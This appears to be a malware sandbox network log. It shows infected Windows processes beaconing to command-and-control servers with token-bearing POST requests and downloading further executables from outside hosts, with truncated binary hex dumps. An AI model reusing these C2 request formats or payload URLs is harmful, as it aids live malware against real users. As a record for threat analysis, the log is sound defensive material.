Nov 24, 2024 19:12:04.028465033 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 18:12:03 GMT Content-Type: application/octet-stream Content-Length: 1912320 Last-Modified: Sun, 24 Nov 2024 17:51:19 GMT Connection: keep-alive ETag: "67436797-1d2e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@ LT@WkDKLK @.rsrcD@.idata @ +@eiflycbf1@qjxsgmsmK@.taggant0K"@
Nov 24, 2024 19:12:04.028485060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 19:12:04.028501034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 19:12:04.028526068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 19:12:04.028541088 CET	1236	IN	Data Raw: ea cd aa 69 91 83 fb a7 31 ee 1e 96 ce ba 9c 02 80 a2 23 d5 18 10 ea 1b 9f 70 86 50 aa 8c 9a 25 3e 18 0e 15 41 d8 16 2a ad d7 be 2b 21 f1 ad 0d f1 e0 5a f0 fd b6 69 86 40 e1 2a b9 a8 03 9b 06 21 0c cf 5a c9 97 5f 05 8f 23 99 2b 61 e1 d2 5f 90 37 Data Ascii: i1#pP%>A+!Zi@!Z_#+a_7+,YED-P,M\|Ry0&L>L,F QzpYm!~IBw)c":jQAw,Amz_+Ym;1<_[q\|IL-
Nov 24, 2024 19:12:04.028557062 CET	1236	IN	Data Raw: 3a cc 30 e0 7a 24 6b 6b 99 f8 5e ef c2 a7 00 e5 01 d2 96 fd 90 13 ff 61 10 c5 9a e5 25 58 fa 29 11 f2 b2 51 5f 78 83 92 1f 2e e7 5e 08 8c 7a 79 75 73 1b 47 a7 23 80 2c 89 92 19 9f ab 00 1f 26 41 cc 84 59 81 68 55 0a c5 1f 9c f1 71 4f 1f 49 13 71 Data Ascii: :0z$kk^a%X)Q_x.^zyusG#,&AYhUqOIqqXD`f.i0(UhJW?,O&DN{B[1Gl;U[G>Sa~;pP8.BwSkd9T%T: +A:<i6iJe
Nov 24, 2024 19:12:04.028573990 CET	1236	IN	Data Raw: bd eb e1 cd 69 e9 fe 67 6d d7 63 af 90 f1 42 1b c2 3f 0d 0a 16 5c 48 00 0b ba 31 fc 59 e2 42 23 7c 51 ec 40 6d ef 2d 4a 59 01 9f 7c 4a 34 28 6b 3b 68 e1 dc 12 8f 00 61 50 78 ef 2b cc 7c cd c5 12 b9 a4 b8 10 34 1f 65 72 6d a3 7b 69 bd e5 67 dd 2c Data Ascii: igmcB?\H1YB#\|Q@m-JY\|J4(k;haPx+\|4erm{ig,Ke2<wJr'8O!E,6chAOn{/N!<=Jj'i(?'j\|5#1c,Xi{I'hD\|i0CJV<8.v$-/O`N
Nov 24, 2024 19:12:04.028625965 CET	1236	IN	Data Raw: c2 7a 98 e3 8f 38 a5 60 85 8c b6 81 c2 9a 6a 42 09 bd 10 4d 5b 48 9d 85 90 5a 17 cf 6f 17 34 e6 8d d4 4d e2 bb 40 b1 75 f4 34 f7 19 cd 89 d7 4d a9 10 86 98 ff 2e 98 2f 44 07 af 67 72 4f 62 ba 8f 22 d2 1a 9b 5a 76 e4 90 4c 86 a2 67 bb 47 5f 04 e5 Data Ascii: z8`jBM[HZo4M@u4M./DgrOb"ZvLgG_at"!1_-h0}?bf!1KpLaMa\|7X[k0R>[<~pQ5aMi^[yqQHm])"#1kYK cO
Nov 24, 2024 19:12:04.028641939 CET	1236	IN	Data Raw: 1e ac 2d a9 c0 46 8e 68 5d 7b 3e 71 d1 f1 82 d9 25 b2 d9 ff 8d b4 fa a4 cf b0 bf 94 cd 9e 73 65 b1 d8 12 68 75 91 a0 98 8c 51 ab 5b 39 eb fa 61 68 ac 54 08 bc c6 22 2f e2 91 ac 61 93 e9 ec 39 55 e7 5a 8e b9 a1 72 e0 e9 16 62 07 80 60 22 6c b6 a6 Data Ascii: -Fh]{>q%sehuQ[9ahT"/a9UZrb`"lHvHQ:jxm( v1c&;a-vD EYmf3Wo :w8Li;'%+(WT51SVif(*J~S!U+y}ml(
Nov 24, 2024 19:12:04.028657913 CET	1236	IN	Data Raw: 83 de ba 14 9b 22 d7 a6 ab 36 bc 2e 07 57 ab 0a d5 ba af 31 69 4c 24 bc 6e 82 9d 0f f0 ae ac 4c cb ad e9 6d b3 9a 8b ef 8f da a2 ee 73 60 a9 ea 0c 15 ff 29 ad e0 3d 4d 2f 59 75 2d 31 a3 bf 83 45 a8 2d bd 7a de 80 40 f1 b7 33 85 b2 a3 74 9d eb 24 Data Ascii: "6.W1iL$nLms`)=M/Yu-1E-z@3t$ds<+#)*BLx~FG\X[[ t9Ntr">otiU%-<B)]?5=;<3y?\|l>iN,)y&;(<:TKhy#B{xz
Nov 24, 2024 19:12:04.148627996 CET	1236	IN	Data Raw: 79 d2 76 f4 53 1a 23 6c 04 ce 37 80 79 5c a7 75 c7 78 1d e9 97 69 23 e5 19 bc 64 41 05 a8 2b fd f1 f9 9b 8d 7e ec 1e 47 2e 6e 14 bd 43 68 ab d4 12 4f 5f ed 85 9c 0f e4 a9 61 c4 4d 8b 5c d1 4f 20 2b f0 5b c7 74 69 50 10 01 f3 fb d7 b4 8b d9 b4 a8 Data Ascii: yvS#l7y\uxi#dA+~G.nChO_aM\O +[tiPa~FRLYm+AC%jK`AQj=4lFg[2@53b&O+Pr4HinV~n,T^Qbd$%[r2"n.h?WV'j1 n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49844	185.215.113.206	80	568	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:12:08.181431055 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KEGCFCAKFHCGCBFHCGHD--
Nov 24, 2024 19:12:10.054857969 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	56423	185.215.113.43	80	792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:13:05.744867086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 19:13:07.145930052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 18:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	56431	185.215.113.43	80	792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:13:08.784158945 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 37 37 37 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02777B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 19:13:10.198451042 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 18:13:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 33 0d 0a 20 3c 63 3e 31 30 30 38 38 31 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 38 32 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 38 32 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 38 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 233 <c>1008816001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008821001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008822001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008823001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008824001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1008825001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2dc31215ee06b21416035797fdd6198abb9a5536e6#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	56435	31.41.244.11	80	792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:13:10.326467991 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 19:13:11.709224939 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 18:13:11 GMT Content-Type: application/octet-stream Content-Length: 4374016 Last-Modified: Sun, 24 Nov 2024 17:03:21 GMT Connection: keep-alive ETag: "67435c59-42be00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 50 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c4 00 00 04 00 00 ed 2a 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 3a c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 3a c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2PJ@*C@ _qsx:(: px'@.rsrc p'@.idata q'@ 8q'@syrofzst0'@weyqvzlj@B@.taggant0P"B@
Nov 24, 2024 19:13:11.709260941 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 19:13:11.709378958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 19:13:11.709467888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 19:13:11.709480047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 19:13:11.709619045 CET	672	IN	Data Raw: 46 a0 29 4f f5 dd b3 78 9d 13 49 a3 f4 eb 0d 9c 1a 79 61 6c 5d 8f e7 1a 3f d8 c8 8f 22 93 1f 5b 54 eb 50 13 bb 4c 2f 27 c9 44 c0 b7 bd b2 38 a2 43 22 e0 53 a2 57 a3 61 6c 1b b8 fc 21 4f a0 49 05 36 f2 63 b2 e6 5f b2 c4 ba 31 59 7e 75 28 da 2f 18 Data Ascii: F)OxIyal]?"[TPL/'D8C"SWal!OI6c_1Y~u(/jG@'s?O;(73}K(Q<*9`8(&zD])\|3/2 ZIev"sd&hHyl3k^<&X;O@;lV:T
Nov 24, 2024 19:13:11.709635019 CET	1236	IN	Data Raw: dd 65 ba 62 54 54 f8 de 29 8d e3 64 6d 55 df f7 d0 d6 92 61 69 29 91 bc 59 52 a6 33 59 25 03 e3 9b d2 b5 7a 94 27 25 ce 9c 22 4f 21 36 1b b5 3e bf ab b0 17 74 86 68 11 ee f3 a2 ff 19 a2 44 45 32 cc 15 2d 37 15 8b 29 b8 2b d3 e8 fd 75 30 0c b2 36 Data Ascii: ebTT)dmUai)YR3Y%z'%"O!6>thDE2-7)+u06!nP:-.a8"LD#qqG5ega)6I+cgLFhnB/pa~MVVk'4p s&i9<YC9)nXF!\DoQ`
Nov 24, 2024 19:13:11.709645987 CET	1236	IN	Data Raw: bb a2 9e 5a 87 c7 32 5a cd 36 1c cc 99 b1 eb b7 de 46 e8 60 54 62 64 6d db 99 a7 2e d5 3b ef b7 99 5d b9 1a d3 8b 65 a8 a6 1e f8 de ad 32 f2 66 e8 34 af a8 06 a3 c7 72 b2 32 a7 3b 90 43 cf d2 c4 0e 6e ba 93 7b ab 9b 99 e2 cf 76 f0 5d 62 7d e7 30 Data Ascii: Z2Z6F`Tbdm.;]e2f4r2;Cn{v]b}0?!84qRTR2sj[bP(E9#(o_//`g57\$dD&WbRB$5~vPi1e='MKNH\|BgLf\|g
Nov 24, 2024 19:13:11.709656000 CET	448	IN	Data Raw: b6 e6 4f 12 a1 59 2f 40 ed 13 4b 4d 9a 17 ad 5a e9 60 b9 ff f9 2c b9 71 d1 67 ab 58 37 22 57 42 ea fb c7 b0 f3 79 80 98 cf 94 73 1d 8c 6d b8 2e 14 80 b7 76 15 63 76 2c ad 86 10 15 0a f2 ab 9e 0e 46 be 19 1c c0 50 82 1a fa cf f2 60 ec 7c 01 77 7c Data Ascii: OY/@KMZ`,qgX7"WBysm.vcv,FP`\|w\|!zM=]JGjiU%#>J33hq3#Gp+ahz9i' *6/B([CN/;v
Nov 24, 2024 19:13:11.709669113 CET	1236	IN	Data Raw: eb ab cf 29 fa c4 ce 68 37 4e 62 a4 61 0c 2f 8d 77 66 c9 11 9a 78 9e 20 a5 22 f7 e7 bd 97 5a ac 5b 45 3a 58 d6 29 1f 71 d1 42 22 93 22 04 34 2f 18 df 74 1e 1e ca f7 67 e7 0e df 9d a3 4e e8 4b b1 27 dc 32 a6 95 d4 ee cf 33 5a f8 99 59 09 81 3c f6 Data Ascii: )h7Nba/wfx "Z[E:X)qB""4/tgNK'23ZY<gL/WNb#3WubZ1{,S[<l[;TGppK4l&/Rj^(O&xfFsE}K7T" PY!cs[e4n=2B,^(
Nov 24, 2024 19:13:11.856115103 CET	1236	IN	Data Raw: 23 4e 35 2e 37 c8 c3 37 be 34 90 99 cb 8a d2 c5 8b 71 db 8f a6 2b b4 5f 69 16 b7 61 fb 58 33 1d d3 cc c2 32 12 21 07 cc 7b de 63 1f 1a bb 5c 25 55 2a 20 4f a7 2d e3 52 b1 83 b3 28 95 06 b7 5e ad 3b 64 05 9b 07 c0 26 ee 8c e5 29 d1 2e c0 2c a5 83 Data Ascii: #N5.774q+_iaX32!{c\%U* O-R(^;d&).,h`#I/P`a5'Z!h#)x7%Gp9a3A_X2#U^.3qNQ8y3z6!)TdVR'z9+\|uy:E\|@!dw8LyX_

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.8	56461	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:13:22.575427055 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 24, 2024 19:13:23.975758076 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sun, 24 Nov 2024 18:13:23 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 24, 2024 19:13:23.975774050 CET	184	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[
Nov 24, 2024 19:13:23.975785017 CET	1236	IN	Data Raw: 59 c2 c8 8d f5 61 e9 1e 7b 88 59 11 76 46 7b 6d 83 b8 32 15 b7 2a 62 09 67 ee c0 c5 33 03 fb 04 a6 7c b9 d6 38 cf c3 1c ce f2 49 de 42 8b d6 6c c4 14 6d ac f2 e1 0b 93 0d 26 12 b1 d9 54 a2 43 e2 5a ea 02 09 3f 92 9b 39 dd 18 aa 50 7b c9 fe 32 68 Data Ascii: Ya{YvF{m2bg3\|8IBlm&TCZ?9P{2hUPRb'aox!CoG3_]efWRl!JUXY=lKcg$UM)=2uB*s>$)Zc&Y/g\Q=G%\|I=tl
Nov 24, 2024 19:13:23.975805044 CET	1236	IN	Data Raw: 02 53 a0 df c3 ea b2 13 46 7b 29 4f 66 93 b7 be fb b4 a1 98 0f 2a 49 ad 81 22 fa 26 02 ff 6c fa 36 b1 7e d1 2f 59 b8 0b 14 c3 4c b2 b9 03 6d 04 cc 1a ae 23 d5 03 4b be c3 c9 3e e3 86 85 eb ac 85 d3 44 f9 54 c4 ad 30 57 f6 26 a8 1f 0e 70 3d c7 f7 Data Ascii: SF{)OfI"&l6~/YLm#K>DT0W&p=iU/zbt%:V-h\3Ad^V?P#BydYCH(4\bq>`hRc~0fJd"E--)6i2 {C<DkomA+H
Nov 24, 2024 19:13:23.975816011 CET	1236	IN	Data Raw: 1d 04 f6 17 3d c2 45 ca 92 2f 5a 7f ee c1 37 d0 e8 8d 8a 14 68 28 7d 5a 44 04 30 c9 45 88 5a 45 e1 5f aa bc 98 45 07 b1 50 e3 d0 8d 3d 35 3e fc 1a f8 4a 35 b2 01 42 c0 e0 91 bb 9b 19 60 5c 8f 21 4f 84 8a ac 41 2c 1c 96 e9 2d d1 12 6f 62 59 96 03 Data Ascii: =E/Z7h(}ZD0EZE_EP=5>J5B`\!OA,-obYCoV'3SvRDH)<:R::;blX?),lD#4Bs+]?R,j76J'\[sRKI&(Cs>HXrJi~;0/m
Nov 24, 2024 19:13:23.975949049 CET	1236	IN	Data Raw: 98 99 9e 14 7d f4 53 74 5b 84 b1 04 49 f8 29 95 7e aa d1 d7 88 5e f9 ff 54 54 a4 50 59 f1 a6 dc 54 30 f2 fa b2 f9 a2 e1 8f 88 d9 63 12 d2 51 97 0e 59 30 3e 7e 61 9c 30 28 99 56 f1 4e 81 fb 0e c8 bc d9 fa 0e be 38 52 59 9c 20 75 d2 22 9c c5 fd b9 Data Ascii: }St[I)~^TTPYT0cQY0>~a0(VN8RY u"o,f>RB&VU_1wKw\OobTZ1pp-)s\d+]$QQnyl{yoW-=S!H@;3Z%W}EqcAFH
